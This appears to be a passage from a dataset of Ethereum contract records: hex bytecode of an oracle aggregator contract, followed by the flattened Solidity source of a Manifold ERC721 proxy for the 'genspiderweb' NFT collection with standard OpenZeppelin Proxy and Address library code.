d636861696e2072656164696e67206f6e6c7900000000000000000000604482015290519081900360640190fd5b63ffffffff8916156128695763ffffffff89166000908152600960209081526040808320600a9092529091206127848c8c61470a565b73ffffffffffffffffffffffffffffffffffffffff8d1660009081526008602052604090206001908101548482015491840154600d548f9367ffffffffffffffff169168010000000000000000900463ffffffff16906fffffffffffffffffffffffffffffffff166127f4611f95565b600189015467ffffffffffffffff16612821576004546fffffffffffffffffffffffffffffffff16612849565b60018801546c0100000000000000000000000090046fffffffffffffffffffffffffffffffff165b8363ffffffff169350995099509950995099509950995099505050612883565b6128728a614760565b975097509750975097509750975097505b9295985092959890939650565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b336000908152600b602052604081205460ff1661292a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6e6f7420617574686f72697a6564207265717565737465720000000000000000604482015290519081900360640190fd5b60075463ffffffff1660008181526009602052604090206001015468010000000000000000900467ffffffffffffffff1615158061296c575061296c81614977565b6129d757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f7072657620726f756e64206d75737420626520737570657273656461626c6500604482015290519081900360640190fd5b60006129ee63ffffffff80841690600190614a0a16565b90506129f981614a87565b63ffffffff1691505090565b6000806000806000612a4e336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b612ab957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b612ac286614b8f565b939a9299509097509550909350915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314612b5a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000908152600f602052604090205460ff166126d45773ffffffffffffffffffffffffffffffffffffffff81166000818152600f602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055815192835290517f87286ad1f399c8e82bf0c4ef4fcdc570ea2e1e92176e5c848b6413545b885db49281900390910190a150565b8015612c7a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f7472616e7366657220646f65736e2774206163636570742063616c6c64617461604482015290519081900360640190fd5b612c82611d1c565b50505050565b6000612ccb336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b612d3657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6121ff82614d05565b6000612d82336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b612ded57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6121ff82614d39565b60005473ffffffffffffffffffffffffffffffffffffffff163314612e7c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600d546004546fffffffffffffffffffffffffffffffff918216918391612eb491612ea79116613e28565b839063ffffffff6145e916565b1015612f2157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f696e73756666696369656e7420726573657276652066756e6473000000000000604482015290519081900360640190fd5b600254604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015612f9d57600080fd5b505af1158015612fb1573d6000803e3d6000fd5b505050506040513d6020811015612fc757600080fd5b505161303457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f746f6b656e207472616e73666572206661696c65640000000000000000000000604482015290519081900360640190fd5b611231611d1c565b6004546fffffffffffffffffffffffffffffffff1681565b60045474010000000000000000000000000000000000000000900463ffffffff1681565b600d5470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff1690565b600e5460ff1681565b73ffffffffffffffffffffffffffffffffffffffff166000908152600860205260409020546fffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff82811660009081526008602052604090206002015462010000900416331461318557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6f6e6c792063616c6c61626c652062792061646d696e00000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff82811660008181526008602090815260409182902060030180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169486169485179055815133815290810193909352805191927fb79bf2e89c2d70dde91d2991fb1ea69b7e478061ad7c04ed5b02b96bc52b8104929081900390910190a25050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146132a357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691821790925560008054604051929316917fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae12789190a350565b6000806000806000613362336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b6133cd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6133d5614d7e565b945094509450945094509091929394565b73ffffffffffffffffffffffffffffffffffffffff821660009081526008602052604090205460075460609163ffffffff7001000000000000000000000000000000009091048116911681613474576040518060400160405280601281526020017f6e6f7420656e61626c6564206f7261636c650000000000000000000000000000815250925050506121ff565b8363ffffffff168263ffffffff1611156134c7576040518060400160405280601681526020017f6e6f742079657420656e61626c6564206f7261636c6500000000000000000000815250925050506121ff565b73ffffffffffffffffffffffffffffffffffffffff851660009081526008602052604090205463ffffffff80861674010000000000000000000000000000000000000000909204161015613554576040518060400160405280601881526020017f6e6f206c6f6e67657220616c6c6f776564206f7261636c650000000000000000815250925050506121ff565b73ffffffffffffffffffffffffffffffffffffffff851660009081526008602052604090205463ffffffff808616780100000000000000000000000000000000000000000000000090920416106135e4576040518060400160405280602081526020017f63616e6e6f74207265706f7274206f6e2070726576696f757320726f756e6473815250925050506121ff565b8063ffffffff168463ffffffff1614158015613620575061361063ffffffff80831690600190614a0a16565b63ffffffff168463ffffffff1614155b801561363357506136318482614da7565b155b15613677576040518060400160405280601781526020017f696e76616c696420726f756e6420746f207265706f7274000000000000000000815250925050506121ff565b8363ffffffff166001141580156136a857506136a66136a163ffffffff80871690600190614e0d16565b614e8a565b155b156136ec576040518060400160405280601f81526020017f70726576696f757320726f756e64206e6f7420737570657273656461626c6500815250925050506121ff565b505092915050565b6136fd81614eca565b613706576126d4565b3360009081526008602052604090205460045463ffffffff7c01000000000000000000000000000000000000000000000000000000009092048216917801000000000000000000000000000000000000000000000000909104811682019083161180159061377357508015155b1561377e57506126d4565b61378782614efb565b50336000908152600860205260409020805463ffffffff83167c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff90911617905550565b6137ee8161518a565b61385957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f726f756e64206e6f7420616363657074696e67207375626d697373696f6e7300604482015290519081900360640190fd5b63ffffffff81166000818152600a602090815260408083208054600180820183559185528385200187905533808552600890935281842080547fffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffff1678010000000000000000000000000000000000000000000000008702178155018690555190929185917f92e98423f8adac6e64d0608e519fd1cefb861498385c6dee70d58fc926ddc68c9190a45050565b63ffffffff8082166000908152600a60205260408120600181015490549192839264010000000090920416111561394157506000905080613ab0565b63ffffffff83166000908152600a6020908152604080832080548251818502810185019093528083526139a79383018282801561399d57602002820191906000526020600020905b815481526020019060010190808311613989575b50505050506151aa565b63ffffffff851660008181526009602090815260409182902084815560010180547fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff16680100000000000000004267ffffffffffffffff811691909102919091177fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff16700100000000000000000000000000000000860217909155600780547fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff16640100000000860217905582519081529151939450919284927f0559884fd3a460db3073b7fc896cc77986f16e378210ded43186175bf646fc5f928290030190a36001925090505b915091565b63ffffffff81166000908152600a60205260409020600101546c0100000000000000000000000090046fffffffffffffffffffffffffffffffff16613af8615e5a565b5060408051808201909152600d546fffffffffffffffffffffffffffffffff808216808452700100000000000000000000000000000000909204166020830152613b48908363ffffffff61454e16565b6fffffffffffffffffffffffffffffffff90811682526020820151613b7491168363ffffffff61527416565b6fffffffffffffffffffffffffffffffff90811660208084018290528351600d80547001000000000000000000000000000000009094029185167fffffffffffffffffffffffffffffffff000000000000000000000000000000009094169390931784161790915533600090815260089091526040902054613bfd91168363ffffffff61527416565b3360009081526008602052604080822080547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff948516179055835190519216917ffe25c73e3b9089fac37d55c4c7efcba6f04af04cebd2fc4d6d7dbb07e1e5234f9190a2505050565b63ffffffff8082166000908152600a602052604090206001810154905491161115613ca2576126d4565b63ffffffff81166000908152600a6020526040812090613cc28282615e71565b5060010180547fffffffff0000000000000000000000000000000000000000000000000000000016905550565b60035473ffffffffffffffffffffffffffffffffffffffff1680613d135750610e22565b6000613d2a63ffffffff80861690600190614e0d16565b63ffffffff80821660009081526009602090815260408083206001810154905482517fbeed9b5100000000000000000000000000000000000000000000000000000000815270010000000000000000000000000000000090920486166004830181905260248301829052958b166044830152606482018a905291519596509394909373ffffffffffffffffffffffffffffffffffffffff88169363beed9b5193620186a093608480850194929391928390030190829088803b158015613def57600080fd5b5087f193505050508015613e1557506040513d6020811015613e1057600080fd5b505160015b613e1e57613e20565b505b505050505050565b60006121ff6002613e4a613e3a611f95565b859060ff1663ffffffff6152fd16565b9063ffffffff6152fd16565b613e5f81615370565b613eca57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6f7261636c65206e6f7420656e61626c65640000000000000000000000000000604482015290519081900360640190fd5b600754613ee39063ffffffff90811690600190614a0a16565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600860205260408120805463ffffffff9390931674010000000000000000000000000000000000000000027fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff90931692909217909155600c613f736001613f64611f95565b60ff169063ffffffff6145e916565b81548110613f7d57fe5b60009182526020808320919091015473ffffffffffffffffffffffffffffffffffffffff85811680855260089093526040808520600290810180549390941680875291862001805461ffff9093167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00009384168117909155939094528154169055600c805492935090918391908390811061401357fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c80548061406657fe5b60008281526020812082017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905590910190915560405173ffffffffffffffffffffffffffffffffffffffff8516907f18dd09695e4fbdae8d1a5edb11221eb04564269c29a089b9753a6535c54ba92e908390a3505050565b6000828201838110156121fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b61418382615370565b156141ef57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6f7261636c6520616c726561647920656e61626c656400000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661427157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f63616e6e6f74207365742061646d696e20746f20300000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8281166000908152600860205260409020600201546201000090041615806142e0575073ffffffffffffffffffffffffffffffffffffffff8281166000908152600860205260409020600201546201000090048116908216145b61434b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f6f776e65722063616e6e6f74206f76657277726974652061646d696e00000000604482015290519081900360640190fd5b614354826153b9565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526008602052604080822080547fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff63ffffffff97909716700100000000000000000000000000000000027fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff909116179590951677ffffffff0000000000000000000000000000000000000000178555600c80546002909601805461ffff9097167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000909716969096178655805460018181019092557fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180547fffffffffffffffffffffffff00000000000000000000000000000000000000001685179055838352855494871662010000027fffffffffffffffffffff0000000000000000000000000000000000000000ffff909516949094179094559251919290917f18dd09695e4fbdae8d1a5edb11221eb04564269c29a089b9753a6535c54ba92e9190a38073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f0c5055390645c15a4be9a21b3f8d019153dcb4a0c125685da6eb84048e2fe90460405160405180910390a35050565b6000826fffffffffffffffffffffffffffffffff16826fffffffffffffffffffffffffffffffff1611156145e357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6000828211156145e357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b600754640100000000900463ffffffff1660009081526009602052604090205490565b600754640100000000900463ffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600f602052604081205460ff16806121fc575050600e5460ff161592915050565b600754640100000000900463ffffffff1660009081526009602052604090206001015468010000000000000000900467ffffffffffffffff1690565b63ffffffff811660009081526009602052604081206001015467ffffffffffffffff16156147565761473b8261518a565b801561474f575061474c83836133e6565b51155b90506121ff565b61473b8383615441565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600860205260408120600754815483928392839283928392839283927fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b929091849163ffffffff90811678010000000000000000000000000000000000000000000000009092041614806147ff57506007546147fd9063ffffffff1661518a565b155b6007549091506148149063ffffffff16614e8a565b801561481d5750805b1561487f5760075461483b9063ffffffff90811690600190614a0a16565b63ffffffff81166000908152600960205260409020600454919b506fffffffffffffffffffffffffffffffff909116945092506148788c8b615441565b9a506148db565b60075463ffffffff166000818152600960209081526040808320600a90925290912060010154919b506c010000000000000000000000009091046fffffffffffffffffffffffffffffffff16945092506148d88a61518a565b9a505b6148e58c8b6133e6565b51156148f05760009a505b6001808301548482015463ffffffff808e166000908152600a6020526040902090930154600d548f948f949367ffffffffffffffff169268010000000000000000900416906fffffffffffffffffffffffffffffffff1661494f611f95565b8a8363ffffffff1693509a509a509a509a509a509a509a509a50505050919395975091939597565b63ffffffff8082166000908152600960209081526040808320600190810154600a9093529083200154919267ffffffffffffffff909116916801000000000000000090041681158015906149d1575060008163ffffffff16115b8015614a025750426149f667ffffffffffffffff841663ffffffff808516906154c616565b67ffffffffffffffff16105b949350505050565b600082820163ffffffff80851690821610156121fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b614a9081614eca565b614a99576126d4565b336000908152600b602052604090205463ffffffff6501000000000082048116916101009004811682019083161180614ad0575080155b614b3b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f6d7573742064656c617920726571756573747300000000000000000000000000604482015290519081900360640190fd5b614b4482614efb565b50336000908152600b60205260409020805463ffffffff831665010000000000027fffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffffff90911617905550565b6000806000806000614b9f615e8f565b5063ffffffff80871660009081526009602090815260409182902082516080810184528154815260019091015467ffffffffffffffff808216938301939093526801000000000000000081049092169281019290925270010000000000000000000000000000000090049091166060820181905215801590614c315750614c318769ffffffffffffffffffff16615547565b6040518060400160405280600f81526020017f4e6f20646174612070726573656e74000000000000000000000000000000000081525090614ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610fbe578181015183820152602001610fa6565b508051602082015160408301516060909301519899919867ffffffffffffffff91821698509216955063ffffffff9091169350915050565b6000614d1082615547565b15614d31575063ffffffff8116600090815260096020526040902054612115565b506000919050565b6000614d4482615547565b15614d31575063ffffffff811660009081526009602052604090206001015468010000000000000000900467ffffffffffffffff16612115565b60008060008060006133d5600760049054906101000a900463ffffffff1663ffffffff16612a05565b60008163ffffffff16614dca60018563ffffffff16614a0a90919063ffffffff16565b63ffffffff161480156121fc57505063ffffffff1660009081526009602052604090206001015468010000000000000000900467ffffffffffffffff1615919050565b60008263ffffffff168263ffffffff1611156145e357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b63ffffffff811660009081526009602052604081206001015468010000000000000000900467ffffffffffffffff161515806121ff57506121ff82614977565b600754600090614ee69063ffffffff90811690600190614a0a16565b63ffffffff168263ffffffff16149050919050565b614f18614f1363ffffffff80841690600190614e0d16565b615551565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff8316179055614f50615eb6565b5060408051600060a0820181815260c083018452825260045463ffffffff700100000000000000000000000000000000820481166020808601919091527401000000000000000000000000000000000000000083048216858701527c01000000000000000000000000000000000000000000000000000000008304821660608601526fffffffffffffffffffffffffffffffff909216608085015285168252600a8152929020815180519293849361500b9284920190615ee4565b506020828101516001928301805460408087015160608801516080909801517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000090931663ffffffff958616177fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff1664010000000091861691909102177fffffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffff166801000000000000000097851697909702969096177fffffffff00000000000000000000000000000000ffffffffffffffffffffffff166c010000000000000000000000006fffffffffffffffffffffffffffffffff90921691909102179055851660008181526009835284902090920180547fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000164267ffffffffffffffff9081169190911791829055845191168152925133937f0109fc6f55cf40689f02fbaad7af7fe7bbac8a3d2186600afc7d3e10cac6027192908290030190a35050565b63ffffffff9081166000908152600a602052604090206001015416151590565b6000815160001061521c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6c697374206d757374206e6f7420626520656d70747900000000000000000000604482015290519081900360640190fd5b8151600281046001821661525b5760008061524186600060018703600187038761566a565b90925090506152508282615748565b945050505050612115565b61526b84600060018503846157b6565b92505050612115565b60008282016fffffffffffffffffffffffffffffffff80851690821610156121fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261530c575060006121ff565b8282028284828161531957fe5b04146121fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615f6b6021913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff1660009081526008602052604090205463ffffffff7401000000000000000000000000000000000000000090910481161490565b60075460009063ffffffff168015801590615419575073ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604090205463ffffffff8281167401000000000000000000000000000000000000000090920416145b15615425579050612115565b61543a63ffffffff80831690600190614a0a16565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526008602052604081205460045463ffffffff7c01000000000000000000000000000000000000000000000000000000009092048216917801000000000000000000000000000000000000000000000000909104811682019084161180614a025750159392505050565b600082820167ffffffffffffffff80851690821610156121fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b63ffffffff101590565b61555a81614977565b615563576126d4565b600061557a63ffffffff80841690600190614e0d16565b63ffffffff818116600090815260096020908152604080832080548886168552828520908155600191820154910180547fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff1670010000000000000000000000000000000092839004909616909102949094177fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff16680100000000000000004267ffffffffffffffff160217909355600a905290812091925061563c8282615e71565b5060010180547fffffffff000000000000000000000000000000000000000000000000000000001690555050565b60008082841061567957600080fd5b8386111580156156895750848411155b61569257600080fd5b8286111580156156a25750848311155b6156ab57600080fd5b600786860310156156cc576156c38787878787615847565b9150915061573e565b60006156d9888888615cfe565b90508084116156ea57809550615738565b848110156156fd57806001019650615738565b80851115801561570c57508381105b61571257fe5b61571e888883886157b6565b925061572f888260010188876157b6565b915061573e9050565b506156ab565b9550959350505050565b600080831280156157595750600082135b8061576f575060008313801561576f5750600082125b1561578f5760026157808484615ddb565b8161578757fe5b0590506121ff565b6000600280850781850701059050614a026157b06002860560028605615ddb565b82615ddb565b6000818411156157c557600080fd5b828211156157d257600080fd5b8284101561582957600784840310156157fe5760006157f48686868687615847565b509150614a029050565b600061580b868686615cfe565b905080831161581c57809350615823565b8060010194505b506157d2565b84848151811061583557fe5b60200260200101519050949350505050565b60008060008686600101039050600088886000018151811061586557fe5b6020026020010151905060008260011061589f577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6158b7565b8989600101815181106158ae57fe5b60200260200101515b90506000836002106158e9577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615901565b8a8a600201815181106158f857fe5b60200260200101515b9050600084600310615933577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61594b565b8b8b6003018151811061594257fe5b60200260200101515b905060008560041061597d577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615995565b8c8c6004018151811061598c57fe5b60200260200101515b90506000866005106159c7577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6159df565b8d8d600501815181106159d657fe5b60200260200101515b9050600087600610615a11577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615a29565b8e8e60060181518110615a2057fe5b60200260200101515b905085871315615a37579495945b83851315615a43579293925b81831315615a4f579091905b84871315615a5b579395935b83861315615a67579294925b80831315615a7157915b84861315615a7d579394935b80821315615a8757905b82871315615a93579195915b81861315615a9f579094905b80851315615aa957935b82861315615ab5579194915b80841315615abf57925b82851315615acb579193915b81841315615ad7579092905b82841315615ae3579192915b8d8c0380615af357879a50615bc0565b8060011415615b0457869a50615bc0565b8060021415615b1557859a50615bc0565b8060031415615b2657849a50615bc0565b8060041415615b3757839a50615bc0565b8060051415615b4857829a50615bc0565b8060061415615b5957819a50615bc0565b604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f6b31206f7574206f6620626f756e647300000000000000000000000000000000604482015290519081900360640190fd5b8e8c038d8d1415615bde57508a995061573e98505050505050505050565b80615bf5575096985061573e975050505050505050565b8060011415615c10575095985061573e975050505050505050565b8060021415615c2b575094985061573e975050505050505050565b8060031415615c46575093985061573e975050505050505050565b8060041415615c61575092985061573e975050505050505050565b8060051415615c7c575091985061573e975050505050505050565b8060061415615c97575090985061573e975050505050505050565b604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f6b32206f7574206f6620626f756e647300000000000000000000000000000000604482015290519081900360640190fd5b6000808460028585010481518110615d1257fe5b602002602001015190506001840393506001830192505b60018401935080858581518110615d3c57fe5b602002602001015112615d29575b60018303925080858481518110615d5d57fe5b602002602001015113615d4a5782841015615dcd57848381518110615d7e57fe5b6020026020010151858581518110615d9257fe5b6020026020010151868681518110615da657fe5b60200260200101878681518110615db957fe5b602090810291909101019190915252615dd6565b8291505061543a565b615d29565b6000828201818312801590615df05750838112155b80615e055750600083128015615e0557508381125b6121fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615f4a6021913960400191505060405180910390fd5b604080518082019091526000808252602082015290565b50805460008255906000526020600020908101906126d49190615f2f565b60408051608081018252600080825260208201819052918101829052606081019190915290565b6040805160a08101825260608082526000602083018190529282018390528101829052608081019190915290565b828054828255906000526020600020908101928215615f1f579160200282015b82811115615f1f578251825591602001919060010190615f04565b50615f2b929150615f2f565b5090565b611d0191905b80821115615f2b5760008155600101615f3556fe5369676e6564536166654d6174683a206164646974696f6e206f766572666c6f77536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212203dfd5ae52fef7bbe05a195d698b0b1b8be56378daa346eaccbc52d24f39c30af64736f6c63430006060033
[ 7, 5 ]
0xf1d070323f64a88d96cc9a8140becda9274b32ae
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: genspiderweb /// @author: manifold.xyz import "./ERC721Creator.sol"; ///////////////////////////////////// // // // // // GENERATIVE SPIDERWEB 2022 // // // // // // // ///////////////////////////////////// contract GSW is ERC721Creator { constructor() ERC721Creator("genspiderweb", "GSW") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use 